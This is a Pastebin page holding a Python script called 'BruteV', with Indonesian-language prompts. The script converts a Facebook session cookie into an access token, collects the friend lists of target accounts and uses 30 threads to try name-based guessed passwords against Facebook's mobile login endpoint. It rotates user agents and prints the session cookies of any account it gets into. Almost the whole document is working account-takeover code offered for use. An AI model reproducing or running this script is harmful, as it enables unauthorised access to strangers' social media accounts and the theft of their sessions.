Advertisement
OBF-XIn

140.213.39.76-BruteV.py.py

Apr 29th, 2024
649
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.86 KB | None | 0 0
  1. try:
  2.     import os, sys, time, random, requests, re, json
  3.     from concurrent.futures import ThreadPoolExecutor as run
  4.     from bs4 import BeautifulSoup as parser
  5.     from datetime import datetime
  6. except ImportError as e:exit("[Error] module is not installed, please type pip install -r requirement.txt")
  7.  
  8. Banner = """
  9. \033[0;37m    ____             __     _    __
  10.   / __ )_______  __/ /____| |  / /  @_> BruteV By ZexDev4
  11.  / __  / ___/ / / / __/ _ \ | / /   @_> Version \033[0;32m0.1\033[0;37m
  12. / /_/ / /  / /_/ / /_/  __/ |/ /    @_> \033[0;32mgithub.com/ZexDev4\033[0;37m
  13. /_____/_/   \__,_/\__/\___/|___/     ----------------------
  14. """
  15.  
  16. all_android = []
  17. list_ugen = open('samsung-unnamed_2.txt').read().splitlines()
  18. for sm in list_ugen:
  19.     all_android.append(sm)
  20.  
  21. class Login:
  22.     def __init__(self):
  23.         self.hitung = 0
  24.  
  25.     def waktu(self):
  26.         now = datetime.now()
  27.         hours = now.hour
  28.         if 4 <= hours < 12:timenow = "Pagi "
  29.         elif 12 <= hours < 15:timenow = "Siang"
  30.         elif 15 <= hours < 18:timenow = "Sore"
  31.         else:timenow = "Malam"
  32.         return timenow
  33.  
  34.     # source convert cookie to token: https://github.com/Dapunta
  35.     def Convert(self, coki):
  36.         self.data = {}
  37.         try:
  38.             with requests.Session() as r:
  39.                 self.r = r.post(f'https://graph.facebook.com/v2.6/device/login?access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038').json()
  40.                 self.user_code, self.code = self.r['user_code'], self.r['code']
  41.                 self.r1 = parser(r.get(f'https://m.facebook.com/device?user_code={self.user_code}', cookies = {'cookie':coki}).text,'html.parser')
  42.                 self.ls = ['fb_dtsg','jazoest','qr']
  43.                 for self.i in self.r1.find_all('input'):
  44.                     if self.i.get('name') in self.ls: self.data.update({self.i['name']:self.i['value']})
  45.                 self.data.update({'user_code':self.user_code})
  46.                 self.ul = self.r1.find('form', method='post')['action']
  47.                 self.r2 = parser(r.post('https://m.facebook.com' + self.ul, data=self.data, cookies = {'cookie':coki}).text,'html.parser')
  48.                 self.data.clear()
  49.                 for self.a in self.r2.find_all('input'):
  50.                     if self.a.get('name') == '__CANCEL__':pass
  51.                     else:self.data.update({self.a.get('name','submit'):self.a.get('value')})
  52.                 self.r3 = r.post('https://m.facebook.com' + self.r2.find('form', method='post')['action'], data=self.data, cookies = {'cookie':coki}).text
  53.                 self.r4 = r.post(f'https://graph.facebook.com/v2.6/device/login_status?access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038&code={self.code}',cookies = {'cookie':coki}).json()['access_token']
  54.                 try:
  55.                     info = requests.get(f"https://graph.facebook.com/me?access_token={self.r4}", cookies = {"cookie": coki}).json()
  56.                     nama, id = info['name'], info['id']
  57.                 except KeyError:exit(f"\033[0;37m[\033[0;31m!\033[0;37m] Cookies anda sudah kadelwarsa")
  58.                 print (f"\033[0;37m[\033[0;32m√\033[0;37m] Halo \033[0;32m`{nama}`\033[0;37m, selamat {self.waktu()} >_")
  59.                 open(".config.json", "w").write(json.dumps({"cookie": f"{coki}", "token": f"{self.r4}"}))
  60.                 exit()
  61.         except Exception as e:exit(f"\033[0;37m[\033[0;31m!\033[0;37m] Cookies anda sudah kadelwarsa",e)
  62.  
  63.     def Cookies(self):
  64.         os.system('clear');print (Banner)
  65.         self.Convert(input("\033[0;37m[\033[0;33m?\033[0;37m] Masukan Cookie Anda:\033[0;32m "))
  66.  
  67. class GetTarget:
  68.     def __init__(self):
  69.         self.url, self.username = "https://graph.facebook.com/{}", []
  70.  
  71.     def Friend(self, user, cookie, token):
  72.         try:
  73.             for _ in requests.get(self.url.format(f'{user}?fields=id,name,friends&access_token={token}'), cookies = {'cookie':cookie}).json()['friends']['data']:
  74.                 self.username.append(f"{_['id']}|{_['name']}")
  75.                 sys.stdout.write(f"\r\033[0;37m[\033[0;32m+\033[0;37m] Sedang Mengumpulkan Target \033[0;32m{len(self.username)}\033[0;37m|\033[0;32m{_['id']}"),sys.stdout.flush()
  76.                 time.sleep(0.003)
  77.         except:pass
  78.         return self.username
  79.  
  80. class BrutePass:
  81.     def __init__(self):
  82.         self.url = "https://m.facebook.com"
  83.         self.loop, self.live, self.sesi = 0, 0, 0
  84.  
  85.     def SetPassword(self, username):
  86.         UserRand, tpw = [], []
  87.         for __ in username:
  88.             xx = random.randint(0,len(username))
  89.             UserRand.insert(xx,__)
  90.         mpw = input(f"\n\033[0;37m[\033[0;33m?\033[0;37m] Inggin menambahkan password manual? \033[0;32mY\033[0;37m/\033[0;33mT\033[0;37m:\033[0;32m ")
  91.         if mpw in ["y","Y"]:
  92.             pwls = input(f"\033[0;37m[\033[0;32m+\033[0;37m] Example: \033[0;33mbandung,sayang\033[0;37m:\033[0;32m ").split(",")
  93.             for lspw in pwls:
  94.                 tpw.append(lspw)
  95.         print (f"             \033[0;37m[ \033[0;32mTarget Bruteforce Process \033[0;37m]\n")
  96.         with run(max_workers=30) as start:
  97.             for ___ in UserRand:
  98.                 uid, fullname = ___.split("|")[0], ___.split("|")[1].lower()
  99.                 firstname = fullname.split(" ")[0]
  100.                 psswlist = []
  101.                 if len(fullname)<6:
  102.                     if len(firstname)<3:pass
  103.                     else:
  104.                             psswlist.append(fullname)
  105.                             psswlist.append(firstname+'123')
  106.                             psswlist.append(firstname+'12345')
  107.                 else:
  108.                     if len(firstname)<3:psswlist.append(fullname)
  109.                     else:
  110.                             psswlist.append(fullname)
  111.                             psswlist.append(firstname+'123')
  112.                             psswlist.append(firstname+'12345')
  113.                 if mpw in ["y","Y"]:
  114.                     for npw in tpw:
  115.                         psswlist.append(npw)
  116.                 start.submit(self.method, uid, psswlist, username)
  117.         exit(f"\n\033[0;37m[\033[0;32m+\033[0;37m] Bruteforce selesai, Results Live:\033[0;32m{self.live} \033[0;37m- Check:\033[0;31m{self.sesi}")
  118.  
  119.     def method(self, user, paswd, total):
  120.         session = requests.session()
  121.         sys.stdout.write(f"\r\r\033[0;37m[\033[0;31m#\033[0;37m] \033[0;32mBruteV \033[0;37m{len(total)}/\033[0;37m{self.loop}, Live:\033[0;32m{self.live}\033[0;37m, Check:\033[0;33m{self.sesi}\033[0;37m, User-agent:\033[0;34m{len(all_android)}");sys.stdout.flush()
  122.         ua = random.choice(all_android)
  123.         for pw in paswd:
  124.             try:
  125.                 head = {
  126.                     'Host': 'm.facebook.com',
  127.                     'cache-control': 'max-age=0',
  128.                     'dpr': '1.5625',
  129.                     'viewport-width': '980',
  130.                     'sec-ch-ua': 'Google',
  131.                     'sec-ch-ua-mobile': '?1',
  132.                     'sec-ch-ua-platform': 'Android',
  133.                     'upgrade-insecure-requests': '1',
  134.                     'user-agent': ua,
  135.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  136.                     'sec-fetch-site': 'none',
  137.                     'sec-fetch-mode': 'navigate',
  138.                     'sec-fetch-user': '?1',
  139.                     'sec-fetch-dest': 'document',
  140.                     'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7',
  141.                 }
  142.                 params = {'uid': user,'flow': 'login_no_pin','next': '/creatorstudio/?reference=visit_from_seo','refsrc': 'deprecated','_rdr': '',}
  143.                 link = session.get('https://m.facebook.com/login/device-based/password/', params=params, headers=head)
  144.  
  145.                 kuki = 'datr=ufhMZWEcSCUIHQitVBSZt5eD;'
  146.                 kuki+= ';'.join([key+'='+value for key, value in session.cookies.get_dict().items()])
  147.                 cookies = {'cookie': kuki}
  148.                 headers = {
  149.                     'Host': 'm.facebook.com',
  150.                     'cache-control': 'max-age=0',
  151.                     'dpr': '1.5625',
  152.                     'viewport-width': '980',
  153.                     'sec-ch-ua': 'Google',
  154.                     'sec-ch-ua-mobile': '?1',
  155.                     'sec-ch-ua-platform': 'Android',
  156.                     'upgrade-insecure-requests': '1',
  157.                     'origin': 'https://m.facebook.com',
  158.                     'content-type': 'application/x-www-form-urlencoded',
  159.                     'user-agent': ua,
  160.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  161.                     'sec-fetch-site': 'same-origin',
  162.                     'sec-fetch-mode': 'navigate',
  163.                     'sec-fetch-user': '?1',
  164.                     'sec-fetch-dest': 'document',
  165.                     'referer': 'https://m.facebook.com/login/device-based/password/?uid=100090093264629&flow=login_no_pin&next=%2Fcreatorstudio%2F%3Freference%3Dvisit_from_seo&refsrc=deprecated&_rdr',
  166.                     'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7',
  167.                 }
  168.                 data = {
  169.                     'lsd': re.search('name="lsd" value="(.*?)"', str(link.text)).group(1),
  170.                     'jazoest': re.search('name="jazoest" value="(.*?)"', str(link.text)).group(1),
  171.                     'uid': user,
  172.                     'next': 'https://m.facebook.com/login/save-device/',
  173.                     'flow': 'login_no_pin',
  174.                     'encpass': f'#PWD_BROWSER:0:{int(datetime.now().timestamp())}:{pw}',
  175.                 }
  176.                 params = {'shbl': '0',}
  177.                 resp = session.post('https://m.facebook.com/login/device-based/validate-password/',params=params,cookies=cookies,headers=headers,data=data)
  178.                 if "c_user" in session.cookies.get_dict():
  179.                     coki = (';'.join([key+'='+value for key, value in session.cookies.get_dict().items()]))
  180.                     print (f"\r\r \033[0;37m[\033[0;32m√\033[0;37m] Id/pw: \033[0;32m{user}\033[0;37m/\033[0;32m{pw}\n\033[0;32m{coki}\033[0;37m{ua}")
  181.                     self.live += 1
  182.                     break
  183.                 elif "checkpoint" in session.cookies.get_dict():
  184.                     print (f"\r\r \033[0;37m[\033[0;31mx\033[0;37m] Id/pw: \033[0;31m{user}\033[0;37m/\033[0;31m{pw}            ")
  185.                     self.sesi += 1
  186.                     break
  187.                 else:continue
  188.             except requests.exceptions.ConnectionError:time.sleep(31)
  189.             except Exception as e:exit(e)
  190.         self.loop += 1
  191. class MainMenu:
  192.     def __init__(self):
  193.         if os.path.isfile('.config.json') is True:
  194.             self.account = json.loads(open(".config.json").read())
  195.             try:
  196.                 info = requests.get(f"https://graph.facebook.com/me?access_token={self.account['token']}", cookies = {"cookie": self.account['cookie']}).json()
  197.                 self.nama, self.id = info['name'], info['id']
  198.             except KeyError:print(f"\033[0;37m[\033[0;31m!\033[0;37m] Cookies anda sudah kadelwarsa");time.sleep(2);Login().Cookies()
  199.         else:print(f"\033[0;37m[\033[0;31m!\033[0;37m] cookie tidak ada");time.sleep(2);Login().Cookies()
  200.  
  201.     def BruteV(self):
  202.         os.system('clear');print (Banner)
  203.         print (f"\033[0;37m[\033[0;34m@\033[0;37m] Full name: \033[0;32m{self.nama}")
  204.         print (f"\033[0;37m[\033[0;34m@\033[0;37m] Userid   : \033[0;32m{self.id}\n")
  205.         print (f"\033[0;37m[\033[0;33m?\033[0;37m] Note     : Jika ingin lebih dari 1 id bisa menggunakan 'id1,id2'")
  206.         target = input(f"[\033[0;32m+\033[0;37m] Id Target:\033[0;37m ").split(",")
  207.         for _ in target:
  208.             results = GetTarget().Friend(_, self.account['cookie'], self.account['token'])
  209.         if len(results) == 0:exit(f"\033[0;37m[\033[0;31m!\033[0;37m] Id Target private")
  210.         print ()
  211.         BrutePass().SetPassword(results)
  212.  
  213. if __name__=='__main__':
  214.     MainMenu().BruteV()
  215.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement